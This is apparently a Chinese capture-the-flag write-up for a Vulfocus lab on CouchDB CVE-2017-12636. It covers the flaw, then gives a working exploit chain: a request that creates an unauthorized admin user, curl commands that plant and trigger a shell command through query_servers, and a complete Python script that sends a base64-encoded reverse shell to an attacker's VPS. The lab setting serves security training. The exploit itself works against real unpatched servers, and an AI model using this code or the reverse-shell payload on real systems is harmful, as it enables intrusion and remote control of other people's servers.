Vulfocus靶场 | couchdb命令执行cve_2017_12636
写在前面
该漏洞比较特殊,若想极速拿flag可以直接下拉到exp一键梭
漏洞概述
编号为CVE-2017-12636。
Apache CouchDB是一款开源数据库,专注于易用性和成为“完全拥抱Web的数据库”。它使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL类型数据库。CouchDB默认会在5984端口开放RESTful的API接口,用于数据库管理。
由于CouchDB自身设计原因,管理员身份可以通过HTTP(S)方式配置数据库。在某些配置中,可以设置可执行文件的路径,在数据库运行范围内执行。
影响版本
Apache CouchDB < 1.7.0以及 < 2.1.1。
复现过程
新建用户
首先要新建用户,因为此漏洞需要登录情况下才能复现
下面代码详情可参考CVE-2017-12635
PUT /_users/org.couchdb.user:vulhub HTTP/1.1 Host: 123.58.224.8:36610 Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 106 { "type": "user", "name": "vulhub", "roles": ["_admin"], "roles":[], "password": "vulhub" }
执行完能够访问http://xxxx/_utils/即新建用户成功
漏洞利用代码
1、新增query_server配置,写入要执行的命令: curl -X PUT 'http://username:password@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"' 2、新建一个临时库和临时表,插入一条记录: curl -X PUT 'http://username:password@your-ip:5984/vultest' curl -X PUT 'http://username:password@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}' 3、调用query_server处理数据 curl -X POST 'http://username:password@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'
执行完成后,如下图所示。
报错,但是无妨。
到这里已经结束了,因为是在线靶场,没法查看是否成功写入,并且目的是拿到flag
所以直接拿EXP来跑一下
EXP
修改target和command
VPS开启监听后,运行python脚本
#!/usr/bin/env python3 import requests import json import base64 from requests.auth import HTTPBasicAuth target = 'http://xx.xx.xx.xx:xx' command = rb"""sh -i >& /dev/tcp/vpsip/9002 0>&1""" version = 1 session = requests.session() session.headers = { 'Content-Type': 'application/json' } #session.proxies = { # 'http': 'http://127.0.0.1:8085' # } session.put(target + '/_users/org.couchdb.user:wooyun', data='''{ "type": "user", "name": "wooyun", "roles": ["_admin"], "roles": [], "password": "wooyun" }''') session.auth = HTTPBasicAuth('wooyun', 'wooyun') command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode() if version == 1: session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command)) else: host = session.get(target + '/_membership').json()['all_nodes'][0] session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command)) session.put(target + '/wooyun') session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}') if version == 1: session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}') else: session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')
反弹成功,看下tmp目录
发现我们的"success"文件已经成功写入,并且执行"id"命令